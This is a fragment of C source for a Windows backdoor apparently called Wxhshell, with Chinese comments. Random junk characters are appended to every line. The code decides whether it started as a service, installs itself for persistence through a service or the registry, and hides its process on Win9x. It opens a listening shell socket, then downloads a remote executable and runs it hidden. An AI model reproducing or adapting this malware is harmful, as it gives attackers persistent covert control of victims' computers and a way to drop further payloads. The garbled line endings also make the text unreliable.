DWORD BasePriority; @|d+T"f
ULONG UniqueProcessId; r;SOAucX
ULONG InheritedFromUniqueProcessId; xaNM?]%
} PROCESS_BASIC_INFORMATION; 2c%b
m*'87a9q0
PROCNTQSIP NtQueryInformationProcess; &FY7
D<
Nc:0opPM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n |Q'>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2aJ_[3p/h]
v?s%qb= T
HANDLE hProcess; !n|4w$t"V
PROCESS_BASIC_INFORMATION pbi; e~PAi8B5
a3C\?5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *nlDN4Y[
if(NULL == hInst ) return 0; Yge}P:d9
8B7~Nq'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -~ H?R
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {C5-M! D{<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #D
.hZ=!
CSlPrx2\
if (!NtQueryInformationProcess) return 0; |Pq z0n=v
]:svR@E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O7z5,-
if(!hProcess) return 0; {9XQ~t"m^
v%;Nyab6$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FZx.Yuv
SY$%)(c8kL
CloseHandle(hProcess); ub]"b[j\1
5v"S v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Esdw^MGL2
if(hProcess==NULL) return 0; %nhE588xf
<F?UdMT4y
HMODULE hMod; gb}>x O
char procName[255]; C^7M>i
unsigned long cbNeeded; csj4?]gI
)}1S
`*J/O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b_']S0$c\
?6 //'bO:%
CloseHandle(hProcess); a\tv,Lx
WP >VQZ&
if(strstr(procName,"services")) return 1; // 以服务启动 mOntc6&]
2>/}-a
return 0; // 注册表启动 `gz/?q
} 7',WLuD
. H9a
// 主模块 b}J,&eYD
int StartWxhshell(LPSTR lpCmdLine) 4%5 +
{ k;Ask#rs
SOCKET wsl; rT';7>{g
BOOL val=TRUE; {ZKXT8'
int port=0; #A=ER[[
struct sockaddr_in door; tC\(H=ecP
`Hd~H
if(wscfg.ws_autoins) Install(); $fG~;`T
4nKlW_{,
port=atoi(lpCmdLine); S@cKo&^
[ps5
if(port<=0) port=wscfg.ws_port; z4 KKt&
30{WGc@l#
WSADATA data; ~2[mZias
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :(#5%6F
ahg]OWn#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kHd`k.nW
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :5_394v
door.sin_family = AF_INET; sF~!qag4q'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); qv3% v3\4
door.sin_port = htons(port); w]O,xO
?[2>x{5Z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9}z%+t8u
closesocket(wsl); PLRMW2
return 1; }-~LXL%!3
} Rk!8eN Pf
vfdTGM`3
if(listen(wsl,2) == INVALID_SOCKET) { rb*;4a
closesocket(wsl); M=Y['wx
return 1; 70.Tm#qh
} Ch73=V
Wxhshell(wsl); g9gi7.'0
WSACleanup(); remRmY?
T+41,
return 0; $Z<x r
@@H?w7y?&
} ,&G!9}EC
Lm*PHG
// 以NT服务方式启动 \e~5Dx1
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WkDXWv\{,{
{
W^)'rH
DWORD status = 0; 6@FGt3y
DWORD specificError = 0xfffffff; I-m Bj8^;
_2w8S\
serviceStatus.dwServiceType = SERVICE_WIN32; 3f(tb%pa5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; N)4R.}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l<:\w.Gl
serviceStatus.dwWin32ExitCode = 0; yaYJmhG
serviceStatus.dwServiceSpecificExitCode = 0; xc,Wm/[
serviceStatus.dwCheckPoint = 0; J$i.^|hE/
serviceStatus.dwWaitHint = 0; GezMqt;2
mX[J15
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {_UOS8j7
if (hServiceStatusHandle==0) return; e*M-y C
,O_iSohS
status = GetLastError(); 1 Q*AQYVY
if (status!=NO_ERROR) JC
iB;!y
{ fndbGbl8p
serviceStatus.dwCurrentState = SERVICE_STOPPED; RaOLy \
serviceStatus.dwCheckPoint = 0; A~H@0>1
serviceStatus.dwWaitHint = 0; /6:qmh2
serviceStatus.dwWin32ExitCode = status; :D~J(Y2
serviceStatus.dwServiceSpecificExitCode = specificError; @.L/HXu-P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UmG|_7
return; BbhC0q"J
} .yB{+
RcOfesW
o
serviceStatus.dwCurrentState = SERVICE_RUNNING; #U.6HBuQa
serviceStatus.dwCheckPoint = 0; S=G2%u!;
serviceStatus.dwWaitHint = 0; Q096M 0m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y7x*:xR[
} 6N[X:F
3`,
fWyXy%Qq
// 处理NT服务事件,比如:启动、停止 Mk}*ze0%
VOID WINAPI NTServiceHandler(DWORD fdwControl) +asO4'r
{ TT={>R[B
switch(fdwControl) tgY/8&$M
{
{RI)I
case SERVICE_CONTROL_STOP: .mplML0oW
serviceStatus.dwWin32ExitCode = 0; u{S"NEc
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8khIy-9-'
serviceStatus.dwCheckPoint = 0; -PTfsQk
serviceStatus.dwWaitHint = 0; }^2'@y!(
{ onl,R{,`0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (U@$gkUx}G
} 4+MaV<!tU^
return; M2I*_pI
case SERVICE_CONTROL_PAUSE: +v<
\l=
serviceStatus.dwCurrentState = SERVICE_PAUSED; Z=oGyA
break; \-8aTF
case SERVICE_CONTROL_CONTINUE: j<)`|?@e(
serviceStatus.dwCurrentState = SERVICE_RUNNING; sfk;c#K
break; *!ecb1U5
case SERVICE_CONTROL_INTERROGATE: ZFs
xsg^r
break; 9I(00t_
}; Y]DC; ,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A2SDEVU
} L~C:1VG5
gt\kTn."
// 标准应用程序主函数
g([M hf#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AF>t{rw=/
{ odn3*{c{x
'V\V=yc1
// 获取操作系统版本 R{pF IyR
OsIsNt=GetOsVer(); 4hzdc]
a
GetModuleFileName(NULL,ExeFile,MAX_PATH); @@ cc/S
bnJ4Edy
// 从命令行安装 7&u$^c S(
if(strpbrk(lpCmdLine,"iI")) Install(); k"6&&
hii#kB2
// 下载执行文件 C7K]c4T
if(wscfg.ws_downexe) { ""*g\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,c&gw tdl
WinExec(wscfg.ws_filenam,SW_HIDE); g.\%jDM
} ij1YV2v
]n3!%0]\
if(!OsIsNt) { 28vQ
// 如果时win9x,隐藏进程并且设置为注册表启动 rU6A^p\,
HideProc(); FIUQQQ\3
StartWxhshell(lpCmdLine); 3,n" d-
} UG[r /w5(F
else }}Z2@}
if(StartFromService()) 6";
ITU^v
// 以服务方式启动 mF4y0r0
StartServiceCtrlDispatcher(DispatchTable); .A0fI";Q
else )S;3WnQ)
// 普通方式启动 txE+A/>i9
StartWxhshell(lpCmdLine); :(@P
*"j
)_Z^oH ]<
return 0; ,T$ GOjt
}